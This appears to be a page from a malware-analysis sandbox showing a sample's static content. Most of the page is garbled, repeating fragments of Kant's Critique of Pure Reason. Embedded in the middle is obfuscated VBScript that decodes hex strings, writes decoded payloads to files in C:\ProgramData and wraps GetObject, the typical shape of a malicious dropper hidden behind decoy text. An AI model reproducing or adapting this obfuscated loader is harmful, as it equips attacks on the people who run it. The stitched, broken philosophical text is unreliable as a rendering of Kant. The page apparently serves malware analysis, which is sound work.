Static | ZeroBOX

ring being should devote a certain amount of time to the examination of his own reason, entirely divesting himself of all partiality and openly submitting his observations to the judgment of others, no one can be blamed for, much less prohibited from, presenting for trial the two opposing parties, leaving them, terrorised by no threats, to defend themselves as best they can, before a jury of like standing with themselves, that is, before a jury of fallible men.

THE ABSOLUTE NECESSITY OF A SOLUTION OF THE TRANSCENDENTAL PROBLEMS OF PURE REASON

To profess to solve all problems and to answer all questions would be impudent boasting, and would argue such extravagant self-conceit as at once to forfeit all confidence. Nevertheless there are sciences the very nature of which requires that every question arising within their domain should be completely answerable in terms of what is known, inasmuch as the answer must issue from the same sources from which the question proceeds. In these sciences it is not permissible to plead unavoidable ignorance; the solution can be demanded.

We must be able, in every possible case, in accordance with a rule, to know what is right and what is wrong, since this concerns our obligation, and we have no obligation to that which we cannot know. In the explanation of natural appearances, on the other hand, much must remain uncertain and many questions insoluble, because what we know of nature is by no means sufficient, in all cases, to account for what has to be explained. The question, therefore, is whether in transcendental philosophy there is any question relating to an object presented to pure reason which is unanswerable by this reason, and whether we may rightly excuse ourselves from giving a decisive answer. In thus excusing ourselves, we should have to show that any knowledge which we can acquire still leaves us in complete uncertainty as to what should be ascribed to the object, and that while we do indeed have a concept sufficient to raise a question, we are entirely lacking in materials or power to answer the same.

Now I maintain that transcendental philosophy is unique in the whole field of speculative knowledge, in that no question which concerns an object given to pure reason can be insoluble for this same human reason, and that no excuse of an unavoidable ignorance, or of the problem's unfathomable depth, can release us from the obligation to answer it thoroughly and completely. That very concept which puts us in a position to ask the question must also qualify us to answer it, since, as in the case of right and wrong, the object is not to be met with as something in itself. If, then, this series is always conditioned, and therefore can never be given as complete, the world is not an unconditioned whole, and does not exist as such a whole, either of infinite or of finite magnitude.

What we have here said of the first cosmological idea, that is, of the absolute totality of magnitude in the [field of] appearance, applies also to all the others. The series of conditions is only to be met with in the regressive synthesis itself, not in the [field of] appearance viewed as a thing given in and by itself, prior to all regress. We must therefore say that the number of parts in a given appearance is in itself neither finite nor infinite. For an appearance is not something existing in itself, and its parts are first given in and through the regress of the decomposing synthesis, a regress which is never given in absolute completeness, either as finite or as infinite. This also holds of the series of subordinated causes, and of the series that proceeds from the conditioned to unconditioned necessary existence. These series can never be regarded as being in themselves in their totality either finite or infinite. Being series of subordinated causes, and of the series that proceeds from the conditione

Thus the antinomy of pure reason in its cosmological ideas vanishes when it is shown that it is merely dialectical, and that it is a conflict due to an illusion which arises from our applying to appearances that exist only in our representations, and therefore, so far as they form a series, not otherwise than in a successive regress, that idea of absolute totality which holds only as a condition of things in themselves. From this antinomy we can, however, obtain, not indeed a dogmatic, but a critical and doctrinal advantage. It affords indirect proof of the transcendental ideality.

This remark is of some importance. It enables us to see that the proofs given in the fourfold antinomy are not merely baseless deceptions. On the supposition that appearances, and the sensible world which comprehends them all, are things in themselves, these proofs are indeed well-grounded. The conflict which results from the propositions thus obtained shows, however, that there is a fallacy in this assumption, and so leads us to the discovery of the true constitution of things, as objects of the senses. While the transcendental dialectic does not by any means favour scepticism, it certainly does favour the sceptical method, which can point to such dialectic as an example of its great services. For when the arguments of reason are allowed to oppose one another in unrestricted freedom, something advantageous, and likely to aid in the correction of our judgments, will always accrue, though it may not be what we set out to find. omposition can ever come before us. Appearances demand explanation only so far as th

Thus the solution of these problems can never be found in experience, and this is precisely the reason why we should not say that it is uncertain what should be ascribed to the object [of our idea]. For as our object is only in our brain, and cannot be given outside it, we have only to take care to be at one with ourselves, and to avoid that amphiboly which transforms our idea into a supposed representation of an object that is empirically given and therefore to be known according to the laws of experience. The dogmatic solution is therefore not only uncertain, but impossible. The critical solution, which allows of complete certainty, does not consider the question objectively, but in relation to the foundation of the knowledge upon which the question is based.

SCEPTICAL REPRESENTATION OF THE COSMOLOGICAL QUESTIONS IN THE FOUR TRANSCENDENTAL IDEAS

We should of ourselves desist from the demand that our questions be answered dogmatically, if from the start we understood that whatever the dogmatic answer might turn out to be it would only increase our ignorance, and cast us from one inconceivability into another, from one obscurity into another still greater, and perhaps even into contradictions. If our question is directed simply to a yes or no, we are well advised to leave aside the supposed grounds of the answer, and first consider what we should gain according as the answer is in the affirmative or in the negative. Should we then find that in both cases the outcome is mere nonsense, there will be good reason for instituting a critical examination of our question, to determine whether the question does not itself rest on a groundless presupposition, in that it plays with an idea the falsity of which can be more easily detected through study of its application and consequences than in its own separate representation.

This is the great utility of the sceptical mode of dealing with the questions which pure reason puts to pure reason. By its means we can deliver ourselves, at but a small cost, from a great body of sterile dogmatism, and set in its place a sober critique, which as a true cathartic will effectively guard us against such groundless beliefs and the supposed polymathy to which they lead.

If therefore, in dealing with a cosmological idea, I were able to appreciate beforehand that whatever view may be taken of the unconditioned in the successive synthesis of appearances, it must either be too large or too small for the empirical regress of the series of appearances, and is not to be met with as something in itself. If, then, this series is always conditioned, and therefore can never be given as complete, the world is not an unconditioned whole, and does not exist as such a whole, either of infinite or of finite magnitude.

What we have here said of the first cosmological idea, that is, of the absolute totality of the series of its conditions. The appearances are in their apprehension themselves nothing but an empirical synthesis in space and time, and are given only in this synthesis. It does not, therefore, follow, that if the conditioned, in the [field of] appearance, is given, the synthesis which constitutes its empirical condition is given therewith and is presupposed. This synthesis first occurs in the regress, and never exists without it. What we can say is that a regress to the conditions, that is, a continued empirical synthesis, on the other hand, the object is transcendental, and therefore itself unknown; if, for instance, the question be whether that something, the appearance of which (in ourselves) is thought (soul), is in itself a simple being, whether there is an absolutely necessary cause of all things, and so forth, what we have then to do is in each case to seek an object for our idea; and we may well confess t

[Although to the question, what is the constitution of the object, and from answering which the philosopher is not permitted to excuse himself on the plea of their impenetrable obscurity, are the cosmological.

These questions [bearing on the constitution of the object] must refer exclusively to cosmological ideas. For the object must be given empirically, the question being only as to its conformity to an idea. If, on the other hand, the object is transcendental, and therefore itself unknown; if, for instance, the question be whether that something, the appearance of which (in ourselves) is thought (soul), is in itself a simple being, whether there is an absolutely necessary cause of all things, and so f

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Function avgtkTliu5(aTCFBZxNLOzI)

avgtkTliu5 = Chr(aTCFBZxNLOzI)

End Function

Function aReTo5PcjVW3u6lX(aTCFBZxNLOzI)

Dim a5lVXA9qoYGQac2Di, arfO6jyLTR

For a5lVXA9qoYGQac2Di = 1 To Len(aTCFBZxNLOzI) Step 2 + 2

aZJyrEA2palxw49X1 = Mid(aTCFBZxNLOzI, a5lVXA9qoYGQac2Di + 2, 2)

arfO6jyLTR = arfO6jyLTR & avgtkTliu5("&H" & aZJyrEA2palxw49X1 & Mid(aTCFBZxNLOzI, a5lVXA9qoYGQac2Di, 2))

aReTo5PcjVW3u6lX = arfO6jyLTR

End Function

Function aIBiWhd8nlzR1(a6H93BXSKfb)

GetObject(a6H93BXSKfb)

End Function

Set a8oKNkeH3VfIgM4d = CreateObject("scripting.filesystemobject")

Set file = a8oKNkeH3VfIgM4d.CreateTextFile("C:\ProgramData\axEuk48nZbpR.txt", True)

file.Write aReTo5PcjVW3u6lX(axEuk48nZbpR) & vbCrLf

file.Close

Set a8oKNkeH3VfIgM4d = CreateObject("scripting.filesystemobject")

Set file = a8oKNkeH3VfIgM4d.CreateTextFile("C:\ProgramData\aWFjBipMrLn57.txt", True)

file.Write aReTo5PcjVW3u6lX(aWFjBipMrLn57) & vbCrLf

file.Close

aoMACiLUwN = aReTo5PcjVW3u6lX(StrReverse("c5001600470016004400d600160027007600f60027000500c500a3003400a3004700070096002700360037"))

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aMIBnfQ14co8G2lRT = 52780;

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anvrIuzwCYHOEN = 28037;

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aQnYa6NR2bH = 50343;

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aDZkVn7GSy = false;

aw4KNRJUF7O = "aSpxjuUi4mqwHk1A7";

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peace, being itself directly interested in the matters in dispute. Accordingly, nothing remains for reason save to consider whether the origin of this conflict, whereby it is divided against itself, may not have arisen from a mere misunderstanding. In such an enquiry both parties, per chance, may have to sacrifice proud claims; but a lasting and peaceful reign of reason over understanding and the senses would thereby be inaugurated.

For the present we shall defer this thorough enquiry, in order first of all to consider upon which side we should prefer to fight, should we be compelled to make choice between the opposing parties. The raising of this question, how we should proceed if we consulted only our interest and not the logical criterion of truth, will decide nothing in regard to the contested rights of the two parties, but has this advantage, that it enables us to comprehend why the participants in this quarrel, though not influenced by any superior insight into the matter under dispute, have preferred to fight on one side rather than on the other. It will also cast light on a number of incidental points, for instance, the passionate zeal of the one party and the calm assurance of the other; and will explain why the world hails the one with eager approval, and is implacably prejudiced against the other.

Comparison of the principles which form the starting-points of the two parties is what enables us, as we shall find, to determine the standpoint from which alone this preliminary enquiry can be carried out with the required thoroughness. In the assertions of the antithesis we observe a perfect uniformity in manner of thinking and complete unity of maxims, namely a principle of pure empiricism, applied not only in explanation of the appearances within the world, but also in the solution of the transcendental ideas of the world itself, in its totality. The assertions of the thesis, on the other hand, pre-suppose, in addition to the empirical mode of explanation employed within the series of appearances, and is not to be met with as something in itself. If, then, this series is always conditioned, and therefore can never be given as complete, the world is not an unconditioned whole, and does not exist as such a whole, either of infinite or of finite magnitude.

What we have here said of the first cosmological idea, that is, of the absolute totality of magnitude in the [field of] appearance, applies also to all the others. The series of conditions is only to be met with in the regressive synthesis itself, not in the [field of] appearance viewed as a thing given in and by itself, prior to all regress. We must therefore say that the number of parts in a given appearance is in itself neither as an infinite whole nor as a finite whole. It exists only in the empirical regress of the series of appearances, and is not to be met with as something in itself. If, then, this series is always conditioned, and therefore can never be given as complete, the world is not an unconditioned whole, and does not exist as such a whole, either of infinite or of finite magnitude.

What we have here said of the first cosmological idea, that is, of the absolute totality of magnitude in the [field of] appearance viewed as a thing given in and by itself, prior to all regress. We must therefore say that the number of parts in a given appearance is in itself neither finite nor infinite, neither in motion nor at rest, neither similar nor dissimilar to any other thing, because there is no given object corresponding to it. Accordingly all questions dealt with in the transcendental doctrine of the soul are answerable in this latter manner, and have indeed been so answered; its questions refer to the transcendental subject of all inner appearances, which is not itself appearance and consequently not given as object, and in which none of the categories (and it is to them that the question is really directed) meet with the conditions required for their application. We have here a case where the common saying holds, that no answer is itself an answer. A question as to the constitution of that someth

inasmuch as it is completely outside the sphere of those objects which can be given to us

is entirely null and void.]

The cosmological ideas alone have the peculiarity that they can presuppose their object, and the empirical synthesis required for its concept, as being given. The question which arises out of these ideas refers only to the advance in this synthesis, that is, whether it should be carried so far as to contain absolute totality

such totality, since it cannot be given through any possible experience. In all possible perceptions, and can say that it is given in itself prior to all experience. But the appearances, while conforming to it, are not given in themselves, but only in experience, and have no existence outside it. That there may be inhabitants in the moon, although no one has ever perceived them, must certainly be admitted. This, however, only means that in the possible advance of experience we may encounter them. For everything is real which stands in connection with a perception in accordance with the laws of nature, the causality of the cause will always itself be something that happens, making necessary a regress to a still higher cause, and thus a continuation of the series of conditions a parte priori without end. Nature, as working always through efficient causes, is thus too large for any of the concepts which we can employ in the synthesis of cosmical events.

If, in certain cases, we admit the occurrence of self-caused events, that is, generation through freedom, then by an unavoidable law of nature the question 'why' still pursues us, constraining us, in accordance with the law of causality which governs experience, to pass beyond such events; and we thus find that such totality of connection is too small for our necessary empirical concept.

Fourthly, if we admit an absolutely necessary being (whether it be the world itself, or something in the world, or the cause of the world), we set it in a time infinitely remote from any given point of time, because otherwise it would be dependent upon another and antecedent being. But such an existence is then too large for our empirical concept, and is unapproachable through any regress, however far this be carried.

If, again, we hold that everything belonging to the world (whether as conditioned or as condition) is contingent, any and every given existence is too small for our concept. For we are constrained always still to look about for some other existence upon which it is dependent.

We have said that in all these cases the cosmical idea is either too large or too small for the empirical regress, and therefore for any possible concept of the understanding. We have thus been maintaining that the fault lies with the idea, in being too large or too small for that to which it is directed, namely, possible experience. Why have we not expressed ourselves in the opposite manner, saying that in the former case the empirical concept is always too small for the idea, and in the latter too large, and that the blame therefore attaches to the empirical regress? The reason is this. Possible experience is that which can alone give reality to our concepts; in its absence a concept is a mere idea, without truth, that is, without relation to any object. The possible empirical concept is therefore the standard by which we must judge whether the idea is a mere idea and thought-entity, or whether it finds its object in the world. For we can say of anything that it is too large or too small relatively to somet

Among the puzzles propounded in the ancient dialectical Schools was the question, whether, if a ball cannot pass through a hole, we should say that the ball is too large or the hole too small. In such a case it is a matter of indifference how we choose to express ourselves, for we do not know which exists for the sake of the other. In the case, however, of a man and his coat, we do not say that a man is too tall for his coat, but tha